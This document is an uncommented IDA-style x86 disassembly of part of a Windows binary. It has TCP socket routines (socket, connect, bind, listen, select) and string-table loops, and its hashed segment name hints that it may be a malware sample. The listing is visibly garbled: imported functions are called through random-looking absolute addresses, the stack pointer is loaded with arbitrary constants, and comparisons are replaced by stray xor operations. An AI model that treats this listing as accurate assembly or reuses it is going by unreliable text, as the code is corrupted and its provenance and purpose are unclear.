		add	esp, 0Ch


loc_417E70:				; CODE XREF: sub_417DB0+52j
					; sub_417DB0+75j ...
		pop	esi
		pop	ebp
		pop	ebx
		add	esp, 20h
		retn	10h
sub_417DB0	endp

; ---------------------------------------------------------------------------
		db 7 dup(90h)
		db 40h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_417EC0	proc near		; CODE XREF: sub_401DD4j

var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4

		push	0FFFFFFFFh
		push	551E59h
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		push	ecx
		push	esi
		mov	esi, ecx
		push	14h
		call	sub_43034A
		add	esp, 4
		mov	[esp+14h+var_10], eax
		test	eax, eax
		mov	[esp+14h+var_4], 0
		jz	short loc_417F0E
		mov	ecx, eax
		call	sub_401546
		mov	[esi], eax
		mov	eax, esi
		pop	esi
		mov	ecx, [esp+10h+var_C]
		mov	large fs:0, ecx
		add	esp, 10h
		retn
; ---------------------------------------------------------------------------


loc_417F0E:				; CODE XREF: sub_417EC0+31j
		mov	ecx, [esp+14h+var_C]
		xor	eax, eax
		mov	[esi], eax
		mov	eax, esi
		pop	esi
		mov	large fs:0, ecx
		add	esp, 10h
		retn
sub_417EC0	endp

; ---------------------------------------------------------------------------
		db 0Ch dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_417F50	proc near		; CODE XREF: sub_401546j
		mov	eax, ecx
		retn
sub_417F50	endp

; ---------------------------------------------------------------------------
		db 0Dh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_417F70	proc near		; CODE XREF: sub_401DB1j
		call	dword ptr ds:6A8F2Ch
		push	eax
		call	dword ptr ds:354796h
		pop	ecx
		retn
sub_417F70	endp

; ---------------------------------------------------------------------------
		db 90h
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_417F90	proc near		; CODE XREF: sub_402018j

var_4		= dword	ptr -4
arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	ecx
		push	esi
		call	dword ptr ds:5AA3CBh
		mov	esi, [esp+8+arg_0]
		mov	[esp+8+var_4], eax
		mov	eax, [esp+8+arg_4]
		fild	[esp+8+var_4]
		sub	eax, esi
		mov	[esp+8+arg_4], eax
		fimul	[esp+8+arg_4]
		fmul	ds:dbl_437090
		call	sub_43043A
		sub	esi, eax
		mov	eax, esi
		pop	esi
		pop	ecx
		retn
sub_417F90	endp

; ---------------------------------------------------------------------------
		db 0Ch dup(90h)
		db 10h dup(0CCh)
; ---------------------------------------------------------------------------


loc_417FE0:				; CODE XREF: _294ADE7B:00401B68j
		call	dword ptr ds:2D51E5h
		cdq
		idiv	dword ptr [esp+4]
		mov	eax, edx
		retn
; ---------------------------------------------------------------------------
		db 2 dup(90h)
		db 10h dup(0CCh)
; ---------------------------------------------------------------------------

locret_418000:				; CODE XREF: _294ADE7B:004014BAj
		retn
; ---------------------------------------------------------------------------
		db 0Fh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_418020	proc near		; CODE XREF: sub_401E6Aj
		xor	al, al
		retn	4
sub_418020	endp

; ---------------------------------------------------------------------------
		db 0Bh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_418040	proc near		; CODE XREF: sub_4014BFj

arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch
arg_C		= dword	ptr  10h

		mov	eax, [esp+arg_C]
		mov	ecx, [esp+arg_4]
		mov	edx, [esp+arg_8]
		cmp	eax, 1
		setnl	al
		mov	byte ptr [esp+arg_C], al
		push	ecx
		mov	eax, [esp+4+arg_C]
		push	edx
		push	eax
		push	0
		mov	esi, 0A96A8Fh
		call	sub_4010FF
		retn
sub_418040	endp

; ---------------------------------------------------------------------------
		db 6 dup(90h)
		db 10h dup(0CCh)
; ---------------------------------------------------------------------------


loc_418080:				; CODE XREF: _294ADE7B:004014A1j
		sub	esp, 0Ch
		mov	eax, [esp+20h]
		push	ebx
		push	ebp
		push	esi
		xor	esi, esi
		push	edi
		cmp	eax, esi
		mov	dword ptr [esp+18h], 80h
		mov	[esp+10h], esi
		jz	short loc_4180B3
		push	eax
		call	dword ptr ds:54B547h
		add	esp, 4
		cmp	eax, esi
		mov	[esp+10h], eax
		jz	short loc_4180B3
		mov	[esp+18h], eax


loc_4180B3:				; CODE XREF: _294ADE7B:0041809Bj
					; _294ADE7B:004180ADj
		mov	edi, [esp+28h]
		mov	ebx, [esp+24h]
		mov	ebp, [esp+20h]
		mov	[esp+14h], esi
		mov	edx, 0F52D5h


loc_4180C8:				; CODE XREF: _294ADE7B:00418119j
		mov	ecx, [esp+14h]
		mov	eax, [esp+18h]
		cmp	ecx, eax
		jge	short loc_41811B
		cmp	byte ptr [esi],	0
		jz	short loc_418104
		mov	eax, [esp+30h]
		test	eax, eax
		jz	short loc_4180F8
		mov	ecx, [esp+10h]
		test	ecx, ecx
		jnz	short loc_4180F8
		push	eax
		push	esi
		call	dword ptr ds:0FA96Ah
		add	esp, 8
		test	eax, eax
		jz	short loc_418104


loc_4180F8:				; CODE XREF: _294ADE7B:004180DFj
					; _294ADE7B:004180E7j
		push	edi
		push	esi
		push	ebx
		push	ebp
		call	sub_4014BF
		add	esp, 10h


loc_418104:				; CODE XREF: _294ADE7B:004180D7j
					; _294ADE7B:004180F6j
		mov	edx, [esp+14h]
		add	esi, 80h
		inc	edx
		cmp	esi, offset dword_4AF020
		mov	[esp+14h], edx
		jl	short loc_4180C8


loc_41811B:				; CODE XREF: _294ADE7B:004180D2j
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		add	esp, 0Ch
		retn
; ---------------------------------------------------------------------------
		db 0Dh dup(90h)
		db 30h dup(0CCh)
; ---------------------------------------------------------------------------


loc_418160:				; CODE XREF: _294ADE7B:004020C2j
		push	ebx
		mov	ebx, ds:dword_4B3ADC
		push	esi
		push	edi
		mov	edi, [esp+10h]
		mov	ebp, 0E8FA96h


loc_418172:				; CODE XREF: _294ADE7B:0041818Ej
		cmp	byte ptr [esi],	0
		jz	short loc_418182
		push	edi
		push	esi
		call	ebx
		add	esp, 8
		test	eax, eax
		jnz	short loc_418196


loc_418182:				; CODE XREF: _294ADE7B:00418175j
		add	esi, 80h
		cmp	esi, offset dword_4AF020
		jl	short loc_418172
		pop	edi
		pop	esi
		xor	eax, eax
		pop	ebx
		retn
; ---------------------------------------------------------------------------


loc_418196:				; CODE XREF: _294ADE7B:00418180j
		pop	edi
		pop	esi
		mov	esp, 0FA3EAh
		pop	ebx
		retn
; ---------------------------------------------------------------------------
		db 90h
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_4181B0	proc near		; CODE XREF: sub_4010BEj

var_10		= dword	ptr -10h
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  4

		sub	esp, 10h
		lea	eax, [esp+10h+var_10]
		push	esi
		push	edi
		push	eax
		call	dword ptr ds:0FD1F5h
		mov	edi, ds:dword_4B3AE0
		mov	edi, offset sub_407E8F


loc_4181CB:				; CODE XREF: sub_4181B0+3Bj
		cmp	byte ptr [esi],	0
		jz	short loc_4181DF
		push	7Fh
		lea	ecx, [esi+80h]
		push	esi
		push	ecx
		call	edi ; sub_407E8F
		add	esp, 0Ch


loc_4181DF:				; CODE XREF: sub_4181B0+1Ej
		sub	esi, 80h
		cmp	esi, offset dword_4AB020
		jge	short loc_4181CB
		mov	edx, [esp+18h+arg_0]
		mov	eax, [esp+18h+var_4]
		mov	ecx, [esp+12h]
		push	edx
		mov	edx, [esp+1Ch+var_8]
		and	eax, 0FFFFh
		and	ecx, 0FFFFh
		push	eax
		mov	eax, [esp+20h+var_10]
		and	edx, 0FFFFh
		push	ecx
		mov	ecx, [esp+1Ah]
		push	edx
		mov	edx, [esp+28h+var_10+2]
		and	eax, 0FFFFh
		and	ecx, 0FFFFh
		push	eax
		and	edx, 0FFFFh
		push	ecx
		push	edx
		push	203F47h
		push	501FA3h
		push	280FD1h
		call	dword ptr ds:1407E8h
		add	esp, 28h
		pop	edi
		pop	esi
		add	esp, 10h
		retn
sub_4181B0	endp

; ---------------------------------------------------------------------------
		db 30h dup(0CCh)
; ---------------------------------------------------------------------------


loc_418280:				; CODE XREF: _294ADE7B:004012A3j
		sub	esp, 600h
		mov	edi, 0A8501Fh
		xor	eax, eax
		push	ebx
		push	ebp
		push	esi
		push	edi
		lea	edi, [esp+10h]
		mov	esi, [esp+614h]
		rep stosd
		mov	eax, 2EA140h
		lea	edi, [esp+210h]
		mov	ebp, ds:dword_4B3AE0
		push	1F50A0h
		rep stosd
		mov	ecx, 821F50h
		lea	edi, [esp+414h]
		rep stosd
		lea	eax, [esp+14h]
		push	esi
		push	eax
		call	ebp
		mov	edx, [esp+628h]
		or	ecx, 0FFFFFFFFh
		mov	edi, edx
		xor	eax, eax
		add	esp, 0Ch
		repne scasb
		not	ecx
		dec	ecx
		cmp	ecx, 180h
		jbe	short loc_4182F1
		mov	[edx+180h], al


loc_4182F1:				; CODE XREF: _294ADE7B:004182E9j
		mov	ebx, [esp+618h]
		lea	ecx, [esp+10h]
		push	ebx
		push	ecx
		call	dword_410FA8
		add	esp, 8
		test	eax, eax
		jz	loc_418402


loc_41830F:				; CODE XREF: _294ADE7B:004183F5j
		lea	edx, [esp+10h]
		push	ebx
		push	edx
		call	dword ptr ds:6087D4h
		mov	esi, eax
		mov	edi, ebx
		or	ecx, 0FFFFFFFFh
		xor	eax, eax
		repne scasb
		not	ecx
		dec	ecx
		push	7043EAh
		add	ecx, esi
		lea	eax, [esp+41Ch]
		push	ecx
		push	eax
		call	ebp
		lea	ecx, [esp+24h]
		push	7821F5h
		lea	edx, [esp+228h]
		push	ecx
		push	edx
		mov	byte ptr [esi],	0
		call	ebp
		lea	edx, [esi+1]
		add	esp, 20h
		test	edx, edx
		jz	short loc_4183D0
		lea	eax, [ebx-1]
		test	eax, eax
		jz	short loc_4183D0
		lea	edi, [ebx-1]
		or	ecx, 0FFFFFFFFh
		xor	eax, eax
		repne scasb
		not	ecx
		dec	ecx
		mov	edi, edx
		mov	esi, ecx
		or	ecx, 0FFFFFFFFh
		repne scasb
		not	ecx
		dec	ecx
		cmp	ecx, esi
		jbe	short loc_4183AD
		mov	edx, [esp+61Ch]
		lea	ecx, [esp+410h]
		push	ecx
		lea	eax, [esp+214h]
		push	edx
		push	eax
		lea	ecx, [esp+1Ch]
		push	3C10FAh
		push	ecx
		call	dword ptr ds:1E087Dh
		add	esp, 14h
		jmp	short loc_4183D0
; ---------------------------------------------------------------------------


loc_4183AD:				; CODE XREF: _294ADE7B:0041837Ej
		mov	edx, [esp+61Ch]
		lea	eax, [esp+210h]
		push	edx
		push	eax
		lea	ecx, [esp+18h]
		push	4F043Eh
		push	ecx
		call	dword ptr ds:67821Fh
		add	esp, 10h


loc_4183D0:				; CODE XREF: _294ADE7B:0041835Aj
					; _294ADE7B:00418361j ...
		mov	edx, [esp+61Ch]
		mov	esi, ds:dword_4B3ADC
		push	edx
		push	ebx
		call	esi
		add	esp, 8
		test	eax, eax
		jnz	short loc_4183FB
		lea	eax, [esp+10h]
		push	ebx
		push	eax
		call	esi
		add	esp, 8
		test	eax, eax
		jnz	loc_41830F


loc_4183FB:				; CODE XREF: _294ADE7B:004183E6j
		mov	esi, [esp+614h]


loc_418402:				; CODE XREF: _294ADE7B:00418309j
		lea	edi, [esp+10h]
		or	ecx, 0FFFFFFFFh
		xor	eax, eax
		repne scasb
		not	ecx
		push	ecx
		lea	ecx, [esp+14h]
		push	ecx
		push	esi
		call	ebp
		add	esp, 0Ch
		mov	eax, esi
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		add	esp, 600h
		retn
; ---------------------------------------------------------------------------
		db 8 dup(90h)
		db 70h dup(0CCh)
; ---------------------------------------------------------------------------


loc_4184A0:				; CODE XREF: _294ADE7B:004017FDj
		sub	esp, 10h
		push	esi
		push	0
		push	1
		push	2
		call	dword ptr ds:33C10Fh
		mov	esi, eax
		cmp	esi, 0FFFFFFFFh
		jnz	short loc_4184BE
		or	eax, eax
		pop	esi
		add	esp, 10h
		retn
; ---------------------------------------------------------------------------


loc_4184BE:				; CODE XREF: _294ADE7B:004184B5j
		mov	ecx, [esp+18h]
		xor	eax, eax
		mov	[esp+4], eax
		push	ecx
		mov	[esp+0Ch], eax
		mov	word ptr [esp+8], 2
		mov	[esp+10h], eax
		mov	[esp+14h], eax
		call	dword ptr ds:19E087h
		lea	edx, [esp+4]
		push	10h
		push	edx
		push	esi
		mov	[esp+12h], ax
		mov	dword ptr [esp+14h], 0
		call	dword ptr ds:4CF043h
		test	eax, eax
		jz	short loc_418509
		or	eax, 0FFFFFFFFh
		pop	esi
		add	esp, 10h
		retn
; ---------------------------------------------------------------------------


loc_418509:				; CODE XREF: _294ADE7B:004184FFj
		push	7FFFFFFFh
		push	esi
		call	dword ptr ds:667821h
		test	eax, eax
		jz	short loc_418521
		or	eax, 0FFFFFFFFh
		pop	esi
		add	esp, 10h
		retn
; ---------------------------------------------------------------------------


loc_418521:				; CODE XREF: _294ADE7B:00418517j
		mov	eax, esi
		pop	esi
		add	esp, 10h
		retn
; ---------------------------------------------------------------------------
		db 8 dup(90h)
		db 30h dup(0CCh)
; ---------------------------------------------------------------------------


loc_418560:				; CODE XREF: _294ADE7B:00401D2Aj
		push	edi
		xor	edi, edi
		mov	eax, 0A36678h


loc_418568:				; CODE XREF: _294ADE7B:00418578j
		cmp	dword ptr [eax], 0
		jz	short loc_41857A
		add	eax, 316h
		inc	edi
		add	eax, 6CD99Eh
		jle	short loc_418568


loc_41857A:				; CODE XREF: _294ADE7B:0041856Bj
		cmp	edi, 13h
		jle	short loc_418584
		or	eax, 0FFFFFFFFh
		pop	edi
		retn
; ---------------------------------------------------------------------------


loc_418584:				; CODE XREF: _294ADE7B:0041857Dj
		lea	eax, [edi+edi*4]
		push	ebx
		shl	eax, 4
		sub	eax, edi
		mov	ebx, ds:dword_4B3C18
		push	esi
		lea	eax, [eax+eax*4]
		lea	esi, ds:4906DFh[eax*2]
		mov	eax, [esp+10h]
		push	eax
		push	esi
		call	ebx
		mov	ecx, [esp+24h]
		mov	edx, [esp+1Ch]
		mov	eax, [esp+20h]
		mov	[esi+0FAh], ecx
		mov	ecx, [esp+28h]
		mov	[esi+0FEh], edi
		add	esp, 8
		mov	[esi+106h], edx
		mov	[esi+10Ah], eax
		add	esi, 10Eh
		push	ecx
		push	esi
		call	ebx
		add	esp, 8
		mov	eax, edi
		pop	esi
		pop	ebx
		pop	edi
		retn
; ---------------------------------------------------------------------------
		db 0Ch dup(90h)
		db 30h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_418620	proc near		; CODE XREF: sub_401393j

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch
arg_C		= dword	ptr  10h
arg_10		= dword	ptr  14h

		push	edi
		xor	edi, edi
		mov	esp, 0E1B366h


loc_418628:				; CODE XREF: sub_418620+18j
		cmp	dword ptr [eax], 0
		jz	short loc_41863A
		add	eax, 316h
		inc	edi
		xor	eax, 386CD9h
		jle	short loc_418628


loc_41863A:				; CODE XREF: sub_418620+Bj
		cmp	edi, 13h
		jle	short loc_418644
		or	eax, 0FFFFFFFFh
		pop	edi
		retn
; ---------------------------------------------------------------------------


loc_418644:				; CODE XREF: sub_418620+1Dj
		lea	eax, [edi+edi*4]
		push	ebx
		shl	eax, 4
		sub	eax, edi
		mov	ebx, ds:dword_4B3C18
		push	esi
		lea	eax, [eax+eax*4]
		lea	esi, ds:488B6Fh[eax*2]
		mov	eax, [esp+0Ch+arg_0]
		push	eax
		push	esi
		call	ebx
		mov	ecx, [esp+14h+arg_C]
		mov	edx, [esp+14h+arg_4]
		mov	eax, [esp+14h+arg_8]
		mov	[esi+0FAh], ecx
		mov	ecx, [esp+14h+arg_10]
		mov	[esi+0FEh], edi
		add	esp, 8
		mov	[esi+106h], edx
		mov	[esi+10Ah], eax
		add	esi, 10Eh
		push	ecx
		push	esi
		call	ebx
		add	esp, 8
		mov	eax, edi
		pop	esi
		pop	ebx
		pop	edi
		retn
sub_418620	endp

; ---------------------------------------------------------------------------
		db 0Ch dup(90h)
		db 30h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_4186E0	proc near		; CODE XREF: sub_401B1Dj

var_190		= byte ptr -190h
arg_0		= byte ptr  4

		sub	esp, 190h
		push	ebp
		mov	ebp, ecx
		push	esi
		push	edi
		mov	dword ptr [ebp+0], offset off_43709C
		mov	eax, ds:dword_4AFCEC
		test	eax, eax
		jnz	short loc_418718
		mov	eax, ds:dword_4AFCEC
		inc	eax
		mov	ds:dword_4AFCEC, eax
		lea	ecx, [esp+19Ch+var_190]
		push	ecx
		push	5C366Ch
		call	dword ptr ds:6E1B36h
		jmp	short loc_418725
; ---------------------------------------------------------------------------


loc_418718:				; CODE XREF: sub_4186E0+19j
		mov	edx, ds:dword_4AFCEC
		inc	edx
		mov	ds:dword_4AFCEC, edx


loc_418725:				; CODE XREF: sub_4186E0+36j
		mov	al, [esp+19Ch+arg_0]
		or	ecx, 0FFFFFFFFh
		mov	[ebp+80Ah], al
		mov	ecx, 0EFB86Ch
		xor	eax, eax
		mov	[ebp+806h], ecx
		mov	byte ptr [ebp+80Ch], 0
		mov	word ptr [ebp+4], 0
		repne scasb
		not	ecx
		sub	edi, ecx
		lea	edx, [ebp+6]
		mov	eax, ecx
		mov	esi, edi
		mov	edi, edx
		shr	ecx, 2
		rep movsd
		mov	ecx, eax
		mov	eax, ebp
		and	ecx, 3
		rep movsb
		pop	edi
		mov	byte ptr [ebp+80Bh], 0
		pop	esi
		pop	ebp
		add	esp, 190h
		retn	4
sub_4186E0	endp

; ---------------------------------------------------------------------------
		db 90h
		db 30h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_4187B0	proc near		; CODE XREF: _294ADE7B:00401802j
					; sub_401A14j

arg_0		= byte ptr  4

		push	esi
		mov	esi, ecx
		call	sub_401E6F
		test	[esp+4+arg_0], 1
		jz	short loc_4187C8
		push	esi
		call	sub_430332
		add	esp, 4


loc_4187C8:				; CODE XREF: sub_4187B0+Dj
		mov	eax, esi
		pop	esi
		retn	4
sub_4187B0	endp

; ---------------------------------------------------------------------------
		db 2 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_4187E0	proc near		; CODE XREF: sub_401E6Fj
		mov	al, [ecx+80Ah]
		mov	dword ptr [ecx], offset	off_43709C
		test	al, al
		jnz	short loc_4187F5
		call	sub_401483


loc_4187F5:				; CODE XREF: sub_4187E0+Ej
		mov	esi, 7FDC3h
		mov	ecx, ds:dword_4AFCEC
		cmp	ecx, eax
		jle	short loc_418810
		mov	eax, ds:dword_4AFCEC
		dec	eax
		mov	ds:dword_4AFCEC, eax

locret_41880F:				; CODE XREF: sub_4187E0:loc_418810j
		retn
; ---------------------------------------------------------------------------


loc_418810:				; CODE XREF: sub_4187E0+22j
		jnz	short locret_41880F
		mov	ecx, ds:dword_4AFCEC
		dec	ecx
		mov	ds:dword_4AFCEC, ecx
		jmp	dword ptr ds:3FEE1h
sub_4187E0	endp

; ---------------------------------------------------------------------------
		db 0Bh dup(90h)
		db 20h dup(0CCh)
; ---------------------------------------------------------------------------


loc_418850:				; CODE XREF: _294ADE7B:00401532j
		mov	eax, large fs:0
		push	0FFFFFFFFh
		push	1FF70h
		push	eax
		mov	large fs:0, esp
		sub	esp, 814h
		push	esi
		mov	esi, ecx
		call	sub_401884
		test	al, al
		jz	loc_418901
		mov	al, [esi+80Bh]
		test	al, al
		jz	short loc_418889
		mov	al, 1
		jmp	short loc_418901
; ---------------------------------------------------------------------------


loc_418889:				; CODE XREF: _294ADE7B:00418883j
		push	ebx
		push	edi
		mov	edi, [esp+830h]
		push	offset byte_40FFB8
		lea	eax, [esi+6]
		push	edi
		push	eax
		call	dword ptr ds:607FDCh
		mov	ebx, [esp+840h]
		add	esp, 0Ch
		lea	ecx, [esp+0Ch]
		mov	[esi+4], bx
		call	sub_401163
		mov	ecx, [esp+83Ch]
		mov	edx, [esp+838h]
		push	ecx
		push	edx
		push	ebx
		push	edi
		lea	ecx, [esp+1Ch]
		mov	dword ptr [esp+838h], 0
		call	sub_4015B4
		push	eax
		mov	ecx, esi
		call	sub_401F4B
		lea	ecx, [esp+0Ch]
		mov	bl, al
		mov	dword ptr [esp+828h], 0FFFFFFFFh
		call	sub_4017B2
		mov	al, bl
		pop	edi
		pop	ebx


loc_418901:				; CODE XREF: _294ADE7B:00418875j
					; _294ADE7B:00418887j
		mov	ecx, [esp+818h]
		pop	esi
		mov	large fs:0, ecx
		add	esp, 820h
		retn	10h
; ---------------------------------------------------------------------------
		db 7 dup(90h)
		db 40h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_418960	proc near		; CODE XREF: sub_401884j
		mov	al, ds:byte_43BCA8
		retn
sub_418960	endp

; ---------------------------------------------------------------------------
		db 0Ah dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_418980	proc near		; CODE XREF: sub_401F4Bj

var_11C		= dword	ptr -11Ch
var_118		= dword	ptr -118h
var_114		= dword	ptr -114h
var_110		= dword	ptr -110h
var_10C		= dword	ptr -10Ch
var_108		= dword	ptr -108h
var_104		= dword	ptr -104h
var_100		= dword	ptr -100h
arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch
arg_C		= byte ptr  10h

		sub	esp, 11Ch
		push	ebp
		push	esi
		push	edi
		mov	esi, ecx
		call	sub_401884
		test	al, al
		jnz	short loc_4189A0
		pop	edi
		pop	esi
		pop	ebp
		add	esp, 11Ch
		retn	10h
; ---------------------------------------------------------------------------


loc_4189A0:				; CODE XREF: sub_418980+12j
		mov	al, [esi+80Bh]
		test	al, al
		jnz	loc_418B41
		push	6
		push	1
		push	2
		call	dword ptr ds:303FEEh
		cmp	eax, 0FFFFFFFFh
		mov	[esi+806h], eax
		jnz	short loc_4189DA
		mov	ecx, esi
		call	sub_401483
		pop	edi
		pop	esi
		xor	al, al
		pop	ebp
		add	esp, 11Ch
		retn	10h
; ---------------------------------------------------------------------------


loc_4189DA:				; CODE XREF: sub_418980+43j
		mov	al, [esp+128h+arg_C]
		test	al, al
		jnz	short loc_4189E9
		push	1
		jmp	short loc_4189EB
; ---------------------------------------------------------------------------


loc_4189E9:				; CODE XREF: sub_418980+63j
		push	0


loc_4189EB:				; CODE XREF: sub_418980+67j
		mov	ecx, esi
		call	sub_4017EE
		mov	edi, [esp+128h+arg_4]
		xor	eax, eax
		mov	[esp+128h+var_114], eax
		push	edi
		mov	[esp+12Ch+var_110], eax
		mov	[esi+4], di
		mov	[esp+12Ch+var_10C], eax
		mov	word ptr [esp+12Ch+var_114], 2
		mov	[esp+12Ch+var_108], eax
		call	dword ptr ds:181FF7h
		mov	ecx, [esp+128h+arg_0]
		mov	word ptr [esp+128h+var_114+2], ax
		mov	eax, [esi+806h]
		lea	edx, [esp+128h+var_114]
		push	10h
		push	edx
		push	eax
		mov	[esp+134h+var_110], ecx
		mov	[esi+4], di
		call	dword ptr ds:0C0FFBh
		mov	ebp, ds:dword_4B3C60
		test	eax, eax
		jge	short loc_418A8C
		call	ebp
		xor	eax, 303FEh
		jz	short loc_418A7D
		call	ebp
		cmp	eax, 0Bh
		jz	short loc_418A7D
		call	ebp
		xor	eax, 60C0FFh
		jz	short loc_418A7D
		mov	byte ptr [esi+80Bh], 0
		pop	edi
		pop	esi
		xor	al, al
		pop	ebp
		add	esp, 11Ch
		retn	10h
; ---------------------------------------------------------------------------


loc_418A7D:				; CODE XREF: sub_418980+D6j
					; sub_418980+DDj ...
		mov	al, byte ptr [esp+128h+arg_8]
		test	al, al
		jnz	loc_418B3A


loc_418A8C:				; CODE XREF: sub_418980+CDj
		mov	eax, [esi+806h]
		xor	ecx, ecx
		lea	edx, [esp+128h+var_11C]
		mov	edi, ds:dword_4B3C5C
		mov	[esp+128h+var_11C], ecx
		push	edx
		mov	[esp+12Ch+var_118], ecx
		push	ecx
		lea	ecx, [esp+130h+var_104]
		mov	[esp+130h+var_100], eax
		push	ecx
		inc	eax
		push	0
		push	eax
		mov	[esp+13Ch+var_11C], 0Ah
		mov	[esp+13Ch+var_104], 1
		call	edi
		test	eax, eax
		jge	short loc_418B00


loc_418ACB:				; CODE XREF: sub_418980+17Ej
		call	ebp
		call	ebp
		cmp	eax, 4
		jnz	short loc_418B15
		mov	eax, [esp+128h+var_11C]
		test	eax, eax
		jnz	short loc_418AE4
		mov	eax, [esp+128h+var_118]
		test	eax, eax
		jz	short loc_418B15


loc_418AE4:				; CODE XREF: sub_418980+15Aj
		mov	ecx, [esi+806h]
		lea	edx, [esp+128h+var_11C]
		push	edx
		lea	eax, [esp+12Ch+var_104]
		push	0
		push	eax
		inc	ecx
		push	0
		push	ecx
		call	edi
		test	eax, eax
		jl	short loc_418ACB


loc_418B00:				; CODE XREF: sub_418980+149j
		mov	al, [esp+128h+arg_C]
		test	al, al
		jnz	short loc_418B31
		mov	edx, [esp+128h+arg_8]
		push	edx
		jmp	short loc_418B33
; ---------------------------------------------------------------------------


loc_418B15:				; CODE XREF: sub_418980+152j
					; sub_418980+162j
		mov	ecx, esi
		call	sub_401483
		mov	byte ptr [esi+80Bh], 0
		pop	edi
		pop	esi
		xor	al, al
		pop	ebp
		add	esp, 11Ch
		retn	10h
; ---------------------------------------------------------------------------


loc_418B31:				; CODE XREF: sub_418980+189j
		push	0


loc_418B33:				; CODE XREF: sub_418980+193j
		mov	ecx, esi
		call	sub_4017EE


loc_418B3A:				; CODE XREF: sub_418980+106j
		mov	byte ptr [esi+80Bh], 1


loc_418B41:				; CODE XREF: sub_418980+28j
		pop	edi
		pop	esi
		mov	al, 1
		pop	ebp
		add	esp, 11Ch
		retn	10h
sub_418980	endp

; ---------------------------------------------------------------------------
		db 90h
		db 80h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_418BD0	proc near		; CODE XREF: sub_401483j
		push	esi
		mov	esi, ecx
		mov	eax, [esi+806h]
		cmp	eax, 0FFFFFFFFh
		jz	short loc_418BEA
		cmp	eax, 0FFFFFFFFh
		jz	short loc_418BEA
		push	eax
		call	dword ptr ds:30607Fh


loc_418BEA:				; CODE XREF: sub_418BD0+Cj
					; sub_418BD0+11j
		mov	ecx, esi
		call	sub_40132A
		mov	byte ptr [esi+80Bh], 0
		pop	esi
		retn
sub_418BD0	endp

; ---------------------------------------------------------------------------
		db 6 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_418C10	proc near		; CODE XREF: sub_40132Aj
		push	ebp
		mov	edx, ecx
		push	esi
		push	edi
		or	ecx, 0FFFFFFFFh
		mov	ebx, 60C181h
		xor	eax, eax
		mov	[edx+806h], ecx
		mov	word ptr [edx+4], 0
		lea	ebp, [edx+6]
		repne scasb
		not	ecx
		sub	edi, ecx
		mov	eax, ecx
		mov	esi, edi
		mov	edi, ebp
		shr	ecx, 2
		rep movsd
		mov	ecx, eax
		and	ecx, 3
		rep movsb
		pop	edi
		pop	esi
		mov	byte ptr [edx+80Bh], 0
		mov	byte ptr [edx+80Ch], 0
		pop	ebp
		retn
sub_418C10	endp

; ---------------------------------------------------------------------------
		db 8 dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_418C80	proc near		; CODE XREF: sub_401433j

var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  4

		sub	esp, 10h
		push	esi
		mov	esi, ecx
		call	sub_401884
		test	al, al
		jnz	short loc_418C96
		pop	esi
		add	esp, 10h
		retn	4
; ---------------------------------------------------------------------------


loc_418C96:				; CODE XREF: sub_418C80+Dj
		mov	al, [esi+80Bh]
		test	al, al
		jnz	loc_418D4F
		push	6
		push	1
		push	2
		call	dword ptr ds:3060C0h
		cmp	eax, 0FFFFFFFFh
		mov	[esi+806h], eax
		jnz	short loc_418CCB
		mov	ecx, esi
		call	sub_401483
		xor	al, al
		pop	esi
		add	esp, 10h
		retn	4
; ---------------------------------------------------------------------------


loc_418CCB:				; CODE XREF: sub_418C80+39j
		mov	ecx, [esp+14h+arg_0]
		xor	eax, eax
		mov	[esp+14h+var_10], eax
		push	ecx
		mov	[esp+18h+var_C], eax
		mov	word ptr [esp+18h+var_10], 2
		mov	[esp+18h+var_8], eax
		mov	[esp+18h+var_4], eax
		call	dword ptr ds:183060h
		mov	word ptr [esp+14h+var_10+2], ax
		mov	eax, [esi+806h]
		lea	edx, [esp+14h+var_10]
		push	10h
		push	edx
		push	eax
		mov	[esp+20h+var_C], 0
		call	dword ptr ds:4C1830h
		test	eax, eax
		jz	short loc_418D24
		mov	ecx, esi
		call	sub_401483
		xor	al, al
		pop	esi
		add	esp, 10h
		retn	4
; ---------------------------------------------------------------------------


loc_418D24:				; CODE XREF: sub_418C80+92j
		mov	ecx, [esi+806h]
		push	32h
		push	ecx
		call	dword ptr ds:660C18h
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_418D48
		mov	ecx, esi
		call	sub_401483
		xor	al, al
		pop	esi
		add	esp, 10h
		retn	4
; ---------------------------------------------------------------------------


loc_418D48:				; CODE XREF: sub_418C80+B6j
		mov	byte ptr [esi+80Bh], 1


loc_418D4F:				; CODE XREF: sub_418C80+1Ej
		mov	al, 1
		pop	esi
		add	esp, 10h
		retn	4
sub_418C80	endp

; ---------------------------------------------------------------------------
		db 8 dup(90h)
		db 40h dup(0CCh)

